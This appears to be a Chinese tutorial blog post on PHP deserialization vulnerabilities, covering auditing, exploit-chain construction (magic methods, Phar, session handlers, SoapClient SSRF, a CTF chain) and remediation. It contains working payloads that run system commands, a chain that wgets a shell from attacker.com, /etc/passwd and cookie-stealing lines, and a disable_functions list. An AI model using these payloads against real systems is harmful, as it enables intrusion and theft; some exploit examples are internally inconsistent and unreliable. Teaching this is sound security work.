PHP反序列化漏洞实战:从代码审计到漏洞利用的完整指南
PHP反序列化漏洞实战:从代码审计到漏洞利用的完整指南
如果你写过PHP,大概率用过serialize()和unserialize()这对函数。它们让对象在网络传输或持久化存储时变得方便,但也埋下了不少安全隐患。我见过太多开发者,包括一些经验丰富的同行,在代码里随意使用unserialize($_GET['data'])这样的写法,结果被攻击者轻松拿下服务器权限。
反序列化漏洞之所以危险,是因为它往往隐藏在看似无害的数据处理逻辑中。攻击者不需要直接执行代码,只需要构造一个特殊的序列化字符串,就能触发程序中的魔术方法,进而执行任意命令。这种攻击方式隐蔽性强,危害大,是Web安全中必须掌握的重点。
这篇文章不会只讲理论,我会带你从实际代码审计开始,一步步分析漏洞成因,手把手教你构造利用链,最后给出切实可行的修复方案。无论你是想提升代码安全性的开发者,还是想深入理解漏洞原理的安全研究员,这里都有你需要的内容。
1. 理解PHP序列化与反序列化的核心机制
1.1 序列化格式深度解析
PHP的序列化格式看似简单,实则暗藏玄机。先看一个基础例子:
class User {
public $username = 'admin';
protected $email = 'admin@example.com';
private $password = 'secret123';
}
$user = new User();
echo serialize($user);
输出结果会是:
O:4:"User":3:{s:8:"username";s:5:"admin";s:6:"*email";s:17:"admin@example.com";s:15:"Userpassword";s:8:"secret123";}
这里有几个关键点需要注意:
访问修饰符的影响:
public属性:直接显示属性名,如s:8:"username"protected属性:属性名前添加\0*\0,序列化后显示为*email,但实际包含不可见字符private属性:属性名前添加\0类名\0,如Userpassword
注意:这些不可见字符在URL传输时需要特别注意。如果直接复制序列化字符串进行测试,可能会因为字符编码问题导致反序列化失败。
数据类型表示: PHP序列化支持多种数据类型,每种都有特定的表示方式:
| 数据类型 | 序列化格式示例 | 说明 |
|---|---|---|
| 字符串 | s:5:"hello" | s表示字符串,5是长度 |
| 整数 | i:42 | i表示整数 |
| 浮点数 | d:3.14 | d表示浮点数 |
| 布尔值 | b:1 | b:1为true,b:0为false |
| 数组 | a:2:{i:0;s:3:"foo";i:1;s:3:"bar"} | a表示数组,数字是元素个数 |
| 对象 | O:4:"User":1:{...} | O表示对象,4是类名长度 |
| NULL | N | 大写N表示null |
1.2 魔术方法的触发时机
魔术方法是反序列化漏洞的核心,理解它们的执行顺序至关重要:
class VulnerableClass {
public $data;
public function __construct() {
echo "[*] 构造函数执行\n";
$this->data = "initial";
}
public function __sleep() {
echo "[*] __sleep() 执行\n";
return ['data'];
}
public function __wakeup() {
echo "[*] __wakeup() 执行\n";
$this->data = "wakeup modified";
}
public function __destruct() {
echo "[*] 析构函数执行,数据: " . $this->data . "\n";
}
}
// 测试执行流程
$obj = new VulnerableClass(); // 输出: [*] 构造函数执行
$serialized = serialize($obj); // 输出: [*] __sleep() 执行
$newObj = unserialize($serialized); // 输出: [*] __wakeup() 执行
// 脚本结束时输出: [*] 析构函数执行,数据: wakeup modified
执行顺序总结:
__construct():对象创建时调用,但反序列化时不调用__sleep():serialize()时调用,返回需要序列化的属性数组__wakeup():unserialize()时立即调用__destruct():对象销毁时调用(脚本结束或unset时)
这个顺序很重要,因为攻击者通常会利用__wakeup()或__destruct()中的代码执行点。
1.3 实际审计中的序列化识别
在真实代码审计中,你很少会看到明显的unserialize($_GET['data'])。更多时候,反序列化点隐藏在:
SESSION处理中:
// 危险:用户可控的session数据
session_start();
if (isset($_POST['session_data'])) {
$_SESSION = unserialize(base64_decode($_POST['session_data']));
}
缓存数据读取:
// 从缓存读取用户数据
$userData = $redis->get('user:' . $userId);
if ($userData) {
$user = unserialize($userData); // 如果缓存被污染...
}
配置文件解析:
// 读取用户配置
$configFile = 'users/' . $username . '.config';
if (file_exists($configFile)) {
$config = unserialize(file_get_contents($configFile));
}
识别这些隐藏的反序列化点,需要你对代码流有全局把握。我常用的方法是搜索unserialize(,然后向上追踪参数来源,判断是否用户可控。
2. 代码审计:发现潜在的反序列化漏洞
2.1 自动化工具辅助审计
虽然人工审计不可替代,但工具能大幅提高效率。我推荐结合使用:
静态分析工具:
# 使用grep搜索常见模式
grep -r "unserialize(" ./src --include="*.php"
grep -r "__destruct\|__wakeup\|__toString" ./src --include="*.php"
# 使用phpast进行AST分析
php -d "extension=ast.so" -r '
$code = file_get_contents("target.php");
$ast = ast\parse_code($code, $version=50);
function find_unserialize($node) {
if ($node instanceof ast\Node && $node->kind === ast\AST_CALL) {
$name = $node->children["expr"]->children["name"] ?? "";
if ($name === "unserialize") {
echo "找到unserialize调用\n";
}
}
foreach ($node->children as $child) {
if ($child instanceof ast\Node) {
find_unserialize($child);
}
}
}
find_unserialize($ast);
'
动态分析技巧: 在开发环境中,可以添加调试代码来跟踪反序列化过程:
// 在全局包含文件中添加
function my_unserialize_debug($data) {
$backtrace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 3);
error_log("[UNSERIALIZE] 调用位置: " .
$backtrace[1]['file'] . ":" . $backtrace[1]['line']);
error_log("[UNSERIALIZE] 数据: " . substr($data, 0, 100));
return unserialize($data);
}
// 临时替换unserialize函数
if (DEBUG_MODE) {
function unserialize($data, $options = []) {
return my_unserialize_debug($data);
}
}
2.2 危险函数调用链分析
找到unserialize()只是第一步,关键是要找到从反序列化点到危险函数的调用链。常见的危险函数包括:
// 代码执行类
eval($code);
assert($code);
system($command);
exec($command);
shell_exec($command);
popen($command, 'r');
// 文件操作类
file_put_contents($path, $data);
file_get_contents($url);
unlink($file);
include($file);
require($file);
// 数据库操作
mysqli_query($sql);
PDO::query($sql);
审计时,我通常会建立一张调用关系表:
| 类名 | 魔术方法 | 调用的方法 | 最终危险函数 | 用户可控参数 |
|---|---|---|---|---|
| CacheHandler | __destruct() | deleteCache() | unlink() | $this->cacheFile |
| UserSession | __wakeup() | loadProfile() | file_get_contents() | $this->profileUrl |
| TemplateEngine | __toString() | render() | eval() | $this->templateCode |
2.3 实际案例:CMS反序列化漏洞审计
让我们看一个简化但真实的案例。假设审计一个开源CMS,发现以下代码:
// File: /lib/Cache.php
class CacheManager {
private $cacheDir;
private $cacheFile;
public function __construct($dir = '/tmp/cache') {
$this->cacheDir = $dir;
}
public function setCache($key, $data) {
$this->cacheFile = $this->cacheDir . '/' . md5($key);
file_put_contents($this->cacheFile, serialize($data));
}
public function getCache($key) {
$file = $this->cacheDir . '/' . md5($key);
if (file_exists($file)) {
return unserialize(file_get_contents($file));
}
return null;
}
public function __destruct() {
// 清理过期缓存
if ($this->cacheFile && file_exists($this->cacheFile)) {
$mtime = filemtime($this->cacheFile);
if (time() - $mtime > 3600) {
unlink($this->cacheFile); // 危险点!
}
}
}
}
// File: /api/user.php
$cache = new CacheManager();
$userData = $cache->getCache($_GET['cache_key']); // 用户可控
审计过程:
- 在
user.php中发现getCache()调用,参数来自$_GET['cache_key'] - 跟踪到
CacheManager::getCache(),发现unserialize()调用 - 查看
CacheManager类的魔术方法,发现__destruct()中有unlink()调用 - 分析发现
$this->cacheFile可控,可以删除任意文件
这就是一个典型的反序列化文件删除漏洞。攻击者可以构造特殊的序列化数据,控制$cacheFile为重要系统文件路径。
3. 构造利用链:从理论到实践
3.1 基础利用:直接代码执行
最简单的利用场景是__destruct()或__wakeup()中有直接的危险函数调用:
class Vulnerable {
public $cmd;
public function __destruct() {
system($this->cmd); // 直接执行系统命令
}
}
// 攻击者构造的payload
$payload = new Vulnerable();
$payload->cmd = 'id; whoami; cat /etc/passwd';
echo serialize($payload);
// 输出: O:10:"Vulnerable":1:{s:3:"cmd";s:33:"id; whoami; cat /etc/passwd";}
但在实际中,这么明显的漏洞很少见。更多时候需要构造复杂的利用链。
3.2 属性注入攻击
当目标类没有直接的危险方法时,可以通过属性注入来利用其他类:
class Database {
public $query;
public function execute() {
mysqli_query($this->connection, $this->query);
}
}
class UserProfile {
private $db;
public function __construct() {
$this->db = new Database();
}
public function __destruct() {
$this->db->execute(); // 触发数据库查询
}
}
// 攻击思路:控制$db为Database对象,并设置恶意query
$profile = new UserProfile();
$profile->db = new Database();
$profile->db->query = "DROP TABLE users;";
echo serialize($profile);
3.3 利用PHP内置类
PHP的一些内置类在反序列化时很有用,特别是当目标应用没有明显可利用的类时:
SoapClient SSRF利用:
// 利用SoapClient进行SSRF攻击
$target = 'http://internal-api:8080/admin';
$post_data = 'admin=1&action=delete_all';
$client = new SoapClient(null, [
'location' => $target,
'uri' => 'urn:test',
'user_agent' => "test\r\nContent-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".strlen($post_data)."\r\n\r\n".
$post_data
]);
$payload = serialize($client);
// 当这个对象被反序列化并调用任意方法时,会发送HTTP请求
Error/Exception对象XSS:
// 当对象被echo时触发__toString()
$error = new Error("<script>alert(document.cookie)</script>");
$payload = serialize($error);
// 如果应用有类似代码:
$data = unserialize($_GET['data']);
echo $data; // 触发XSS
3.4 实际利用链构造示例
假设我们审计到以下代码结构:
class FileLogger {
private $logFile;
public function __destruct() {
file_put_contents($this->logFile, date('Y-m-d H:i:s') . " - Log entry\n", FILE_APPEND);
}
}
class UserManager {
public $logger;
public function saveUser() {
// 保存用户逻辑
$this->logger->log("User saved");
}
}
class SystemCommand {
public $command;
public function execute() {
return shell_exec($this->command);
}
}
// 主应用代码
$data = $_COOKIE['user_prefs'];
$prefs = unserialize(base64_decode($data));
利用链构造步骤:
- 确定入口点:
unserialize(base64_decode($_COOKIE['user_prefs'])) - 寻找终点:
SystemCommand::execute()中的shell_exec() - 连接路径:
- 需要让
$prefs成为UserManager对象 UserManager::saveUser()会调用$this->logger->log()- 如果
$this->logger是FileLogger,但FileLogger没有log()方法 - 需要利用PHP的魔术方法
__call()
- 需要让
修改后的利用链:
class EvilLogger {
public $command;
public function __call($name, $args) {
// 当调用不存在的方法时触发
system($this->command);
}
}
class UserManager {
public $logger;
public function __destruct() {
// 析构时自动保存
$this->saveUser();
}
public function saveUser() {
$this->logger->log("test"); // 触发__call()
}
}
// 构造payload
$manager = new UserManager();
$manager->logger = new EvilLogger();
$manager->logger->command = 'rm -f /tmp/backdoor; wget http://attacker.com/shell -O /tmp/backdoor';
echo base64_encode(serialize($manager));
4. 高级绕过技巧与实战案例
4.1 字符逃逸攻击
字符逃逸是反序列化中比较高级的技巧,利用过滤函数改变字符串长度,从而"吞掉"后续的结构:
class User {
public $username;
public $isAdmin = false;
}
function sanitize($input) {
// 试图防止攻击,但反而制造了漏洞
return str_replace('admin', 'user', $input);
}
$user = new User();
$user->username = 'admin';
// 正常序列化
$serialized = serialize($user);
// O:4:"User":2:{s:8:"username";s:5:"admin";s:7:"isAdmin";b:0;}
// 过滤后
$filtered = sanitize($serialized);
// O:4:"User":2:{s:8:"username";s:5:"user";s:7:"isAdmin";b:0;}
// 注意:长度还是5,但内容只有4个字符,这会破坏结构
利用方法:
// 目标:将isAdmin改为true
// 原始结构:";s:7:"isAdmin";b:0;}
// 目标结构:";s:7:"isAdmin";b:1;}
$payload = 'admin";s:7:"isAdmin";b:1;}';
// 序列化后:s:8:"username";s:24:"admin";s:7:"isAdmin";b:1;}";s:7:"isAdmin";b:0;}
// 计算需要多少admin来"吃掉"后面的字符
// 每个admin过滤后少1个字符,需要吃掉:";s:7:"isAdmin";b:0;} 共25个字符
// 所以需要25个admin
$user->username = str_repeat('admin', 25) . '";s:7:"isAdmin";b:1;}';
4.2 Phar反序列化攻击
Phar反序列化是近年来非常流行的攻击手法,它不直接依赖unserialize(),而是利用Phar文件的metadata:
// 创建恶意Phar文件
class Evil {
public $cmd = 'id';
public function __destruct() {
system($this->cmd);
}
}
// 生成Phar
@unlink('test.phar');
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$object = new Evil();
$object->cmd = 'uname -a';
$phar->setMetadata($object);
$phar->stopBuffering();
// 重命名为jpg绕过上传限制
rename('test.phar', 'test.jpg');
// 触发反序列化
file_get_contents('phar://./test.jpg/test.txt');
// 或者很多其他函数:exif_thumbnail、getimagesize等
可触发Phar反序列化的函数:
| 函数类别 | 示例函数 | 说明 |
|---|---|---|
| 文件操作 | file_get_contents()、file_exists() | 最常用 |
| 图像处理 | exif_thumbnail()、getimagesize() | 常用于绕过 |
| 压缩包 | ZipArchive::open() | 需要特定条件 |
| 其他 | hash_file()、md5_file() | 较少见但可用 |
4.3 Session反序列化漏洞
PHP的Session处理机制也可能成为反序列化攻击的入口:
// 漏洞代码:混合使用不同的session处理器
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['data'] = $_GET['data'];
// 另一处代码
ini_set('session.serialize_handler', 'php');
session_start();
// 这里会以php方式解析之前php_serialize格式的数据
利用方式:
// 攻击者提交:data=|O:8:"EvilClass":1:{s:4:"cmd";s:2:"id";}
// php_serialize格式存储:a:1:{s:4:"data";s:45:"|O:8:"EvilClass":1:{s:4:"cmd";s:2:"id";}";}
// php格式解析时,以|作为分隔符
// 会解析出:key="a:1:{s:4:\"data\";s:45:\"",value="O:8:"EvilClass":1:{s:4:"cmd";s:2:"id";}"
// 从而触发反序列化
4.4 实际CTF案例解析
让我们分析一个真实的CTF题目,看看如何综合运用这些技巧:
// 题目代码
class Welcome {
public $name;
public $arg;
public function __construct($name, $arg) {
$this->name = $name;
$this->arg = $arg;
}
public function __destruct() {
$this->name->{$this->arg}();
}
}
class Show {
public $source;
public $str;
public function __toString() {
$content = $this->str['str']->source;
return $content;
}
}
class Show2 {
public $flag;
public function __get($key) {
system($this->flag);
}
}
// 用户输入点
$data = unserialize($_GET['data']);
解题思路:
-
分析调用链:
Welcome::__destruct()调用$this->name->{$this->arg}()- 如果
$this->name是Show对象,调用不存在的$this->arg方法会触发__call(),但Show没有__call() - 需要让
$this->name触发__toString()
-
构造利用链:
$show2 = new Show2(); $show2->flag = 'cat /flag'; $show = new Show(); $show->str = ['str' => $show2]; $show->source = $show2; $welcome = new Welcome($show, 'not_exist_method'); // 调用链: // Welcome::__destruct() -> $show->not_exist_method() // 由于Show没有not_exist_method,触发__call()?不对... // 实际上会尝试将$show作为字符串,触发__toString() // Show::__toString() -> $show->str['str']->source // 访问$show2->source,但Show2没有source属性,触发__get() // Show2::__get() -> system($this->flag) -
最终payload:
$show2 = new Show2(); $show2->flag = 'cat /flag'; $show = new Show(); $show->source = $show2; $show->str = ['str' => $show2]; $welcome = new Welcome($show, 'source'); // 注意:这里$welcome->arg应该是'source',因为要触发__get() echo urlencode(serialize($welcome));
这个案例展示了如何通过多个类的魔术方法串联,形成完整的攻击链。在实际审计中,你需要耐心地分析每个类的属性和方法,找到连接点。
5. 防御与修复方案
5.1 输入验证与过滤
最直接的防御是在反序列化前进行严格的输入验证:
// 方法1:白名单验证
function safe_unserialize($data, $allowed_classes = []) {
// 检查数据是否来自可信来源
if (!is_string($data)) {
return false;
}
// 使用PHP内置的过滤选项(PHP 7.0+)
$result = unserialize($data, [
'allowed_classes' => $allowed_classes // 只允许特定的类
]);
return $result;
}
// 只允许User和Config类
$data = safe_unserialize($_POST['data'], ['User', 'Config']);
// 方法2:签名验证
function verify_and_unserialize($data, $secret) {
if (strlen($data) <= 64) {
return false; // 数据太短,不包含签名
}
$signature = substr($data, 0, 64);
$payload = substr($data, 64);
if (hash_hmac('sha256', $payload, $secret) === $signature) {
return unserialize($payload, ['allowed_classes' => false]);
}
return false;
}
5.2 使用安全的替代方案
如果可能,尽量避免使用PHP原生序列化:
JSON方案:
// 序列化
$data = [
'username' => 'admin',
'role' => 'user'
];
$json = json_encode($data);
// 反序列化
$data = json_decode($json, true);
// 只得到数组,不会实例化对象
自定义序列化格式:
class SafeSerializer {
public static function serialize($data) {
if (is_object($data)) {
throw new Exception('Objects not allowed');
}
if (is_array($data)) {
$result = [];
foreach ($data as $key => $value) {
$result[$key] = self::serialize($value);
}
return 'a:' . json_encode($result);
}
if (is_string($data)) {
return 's:' . strlen($data) . ':' . $data;
}
if (is_int($data)) {
return 'i:' . $data;
}
if (is_bool($data)) {
return 'b:' . ($data ? '1' : '0');
}
if (is_null($data)) {
return 'N';
}
throw new Exception('Unsupported type');
}
public static function unserialize($str) {
// 实现安全的解析逻辑,不实例化对象
}
}
5.3 运行时防护
在无法避免使用unserialize()的情况下,可以添加运行时防护:
// 方法1:监控反序列化操作
class UnserializeMonitor {
private static $depth = 0;
private static $maxDepth = 10;
public static function safe_unserialize($data) {
self::$depth = 0;
set_error_handler([self::class, 'errorHandler']);
$result = unserialize($data, [
'allowed_classes' => false,
'max_depth' => self::$maxDepth
]);
restore_error_handler();
return $result;
}
private static function errorHandler($errno, $errstr) {
// 记录异常反序列化尝试
error_log("可疑反序列化: " . $errstr);
return true;
}
}
// 方法2:使用沙箱环境
class SandboxUnserialize {
public static function execute($data, $callback) {
// 在隔离进程中执行
$descriptors = [
0 => ['pipe', 'r'], // stdin
1 => ['pipe', 'w'], // stdout
2 => ['pipe', 'w'] // stderr
];
$cmd = sprintf(
'php -r "%s"',
escapeshellarg('$data = ' . var_export($data, true) . ';
$result = unserialize($data, ["allowed_classes" => false]);
echo serialize($result);')
);
$process = proc_open($cmd, $descriptors, $pipes);
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
proc_close($process);
return unserialize($output);
}
}
5.4 架构层面的防护
最小权限原则:
- 运行PHP的用户应该只有必要的最小权限
- 避免使用root或管理员账户运行Web服务
- 使用open_basedir限制文件访问范围
; php.ini配置
open_basedir = /var/www/html:/tmp
disable_functions = exec,passthru,shell_exec,system,proc_open,popen
allow_url_fopen = Off
allow_url_include = Off
代码审查与自动化检测:
- 将反序列化漏洞检测纳入CI/CD流程
- 使用静态分析工具定期扫描
- 建立代码审查清单,包含反序列化相关检查项
# .gitlab-ci.yml 示例
code_scan:
stage: test
script:
- phpcs --standard=SecurityStandard src/
- phpstan analyse --level=max src/
- # 自定义反序列化检测脚本
- php detect_unserialize.php src/
5.5 应急响应与修复
当发现反序列化漏洞时,应该:
-
立即修复:
// 临时修复:禁用危险功能 if (strpos($input, 'O:') === 0) { // 可能是对象序列化,拒绝处理 throw new SecurityException('可疑的序列化数据'); } // 或使用临时补丁 function temporary_fix_unserialize($data) { // 移除所有对象类型 $data = preg_replace('/O:\d+:"[^"]+":/', 'N;', $data); return unserialize($data); } -
日志与监控:
// 记录所有反序列化操作 function logged_unserialize($data) { $backtrace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 3); $log = sprintf( "[%s] 反序列化调用: %s:%d, 数据: %.100s\n", date('Y-m-d H:i:s'), $backtrace[1]['file'] ?? 'unknown', $backtrace[1]['line'] ?? 0, $data ); file_put_contents('/var/log/unserialize.log', $log, FILE_APPEND); return unserialize($data, ['allowed_classes' => false]); } -
长期加固:
- 重构代码,移除不必要的反序列化
- 实施严格的输入验证
- 定期进行安全培训和代码审查
反序列化漏洞的修复不是一劳永逸的,需要持续的关注和维护。我在实际项目中见过太多"修复"后又被绕过的情况,关键是要建立纵深防御体系,而不是依赖单一防护措施。
6. 实战演练:从零搭建测试环境
6.1 Docker测试环境搭建
为了安全地测试反序列化漏洞,我推荐使用Docker隔离环境:
# Dockerfile
FROM php:7.4-apache
# 安装必要扩展
RUN docker-php-ext-install mysqli pdo_mysql
# 启用错误显示(仅测试环境)
RUN echo "display_errors = On" >> /usr/local/etc/php/php.ini && \
echo "error_reporting = E_ALL" >> /usr/local/etc/php/php.ini
# 复制测试文件
COPY vuln_app/ /var/www/html/
# 设置权限
RUN chown -R www-data:www-data /var/www/html && \
chmod -R 755 /var/www/html
EXPOSE 80
测试应用结构:
vuln_app/
├── index.php # 主入口
├── classes/ # 类定义
│ ├── User.php
│ ├── Cache.php
│ └── Logger.php
├── api/ # API接口
│ └── user.php
└── tests/ # 测试用例
└── exploit.php
6.2 漏洞代码示例
// vuln_app/classes/User.php
class User {
public $id;
public $username;
public $profile;
public function __construct($id, $username) {
$this->id = $id;
$this->username = $username;
$this->profile = new UserProfile();
}
public function __destruct() {
// 自动保存用户数据
$this->profile->save();
}
}
class UserProfile {
public $data = [];
private $storage;
public function __construct() {
$this->storage = new FileStorage('/tmp/user_profiles');
}
public function save() {
$this->storage->write($this->data);
}
}
class FileStorage {
private $path;
public function __construct($path) {
$this->path = $path;
}
public function write($data) {
$filename = $this->path . '/' . uniqid() . '.json';
file_put_contents($filename, json_encode($data));
}
public function __call($method, $args) {
// 动态方法调用
if ($method === 'deleteAll') {
array_map('unlink', glob($this->path . '/*'));
}
}
}
// vuln_app/api/user.php
require_once '../classes/User.php';
if (isset($_GET['data'])) {
$userData = base64_decode($_GET['data']);
$user = unserialize($userData); // 漏洞点!
if ($user instanceof User) {
echo "Welcome back, " . $user->username;
}
}
6.3 漏洞利用脚本
// tests/exploit.php
class EvilStorage {
public $path;
public function write($data) {
// 什么都不做,避免干扰
}
public function __call($method, $args) {
if ($method === 'save') {
// 当FileStorage::save()被调用时,实际执行这里
system('echo "Pwned!" > /tmp/pwned.txt');
}
}
}
class EvilProfile {
public $data = [];
public $storage;
public function __construct() {
$this->storage = new EvilStorage();
}
}
class EvilUser {
public $id = 1;
public $username = 'attacker';
public $profile;
public function __construct() {
$this->profile = new EvilProfile();
}
}
// 构造payload
$evil = new EvilUser();
$payload = base64_encode(serialize($evil));
echo "Payload: " . $payload . "\n";
echo "URL: http://localhost/api/user.php?data=" . urlencode($payload) . "\n";
// 测试执行
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://localhost/api/user.php?data=' . urlencode($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
echo "Response: " . $response . "\n";
// 检查是否成功
if (file_exists('/tmp/pwned.txt')) {
echo "Exploit successful!\n";
echo "File content: " . file_get_contents('/tmp/pwned.txt') . "\n";
} else {
echo "Exploit failed\n";
}
6.4 防御改进版本
// secure_app/classes/User.php
class SecureUser {
public $id;
public $username;
public $profile;
public function __construct($id, $username) {
$this->id = (int)$id;
$this->username = htmlspecialchars($username, ENT_QUOTES, 'UTF-8');
$this->profile = new SecureUserProfile();
}
public function __destruct() {
// 移除自动保存,改为显式调用
// $this->profile->save();
}
public static function fromSerialized($data) {
// 安全的反序列化方法
$allowed_classes = [self::class, SecureUserProfile::class];
$user = unserialize($data, ['allowed_classes' => $allowed_classes]);
if (!$user instanceof self) {
throw new InvalidArgumentException('Invalid user data');
}
// 验证数据完整性
$user->validate();
return $user;
}
private function validate() {
if (!is_int($this->id) || $this->id <= 0) {
throw new InvalidArgumentException('Invalid user ID');
}
if (!is_string($this->username) || strlen($this->username) > 50) {
throw new InvalidArgumentException('Invalid username');
}
if (!$this->profile instanceof SecureUserProfile) {
throw new InvalidArgumentException('Invalid profile data');
}
}
public function save() {
// 显式保存,需要权限检查
if (!$this->hasPermission('write')) {
throw new PermissionDeniedException('No write permission');
}
$this->profile->save();
}
private function hasPermission($action) {
// 实现权限检查逻辑
return true;
}
}
// secure_app/api/user.php
require_once '../classes/User.php';
if (isset($_GET['data'])) {
try {
$userData = base64_decode($_GET['data']);
// 添加签名验证
if (strlen($userData) < 64) {
throw new Exception('Invalid data format');
}
$signature = substr($userData, 0, 64);
$payload = substr($userData, 64);
$expected = hash_hmac('sha256', $payload, SECRET_KEY);
if (!hash_equals($expected, $signature)) {
throw new Exception('Invalid signature');
}
// 使用安全的反序列化
$user = SecureUser::fromSerialized($payload);
echo "Welcome back, " . htmlspecialchars($user->username);
} catch (Exception $e) {
error_log("User deserialization failed: " . $e->getMessage());
http_response_code(400);
echo "Invalid request";
}
}
这个测试环境可以帮助你:
- 安全地复现漏洞
- 测试各种利用技术
- 验证修复方案的有效性
- 培训开发人员识别和修复漏洞
记住,永远不要在生产环境测试漏洞利用!使用隔离的测试环境,避免对真实系统造成影响。
反序列化漏洞的挖掘和防御是一个持续的过程。随着PHP版本的更新和新的利用技术出现,我们需要不断学习新的防护方法。关键是要理解原理,而不仅仅是记忆payload。只有深入理解反序列化机制,才能写出更安全的代码,更有效地防御攻击。
更多推荐



所有评论(0)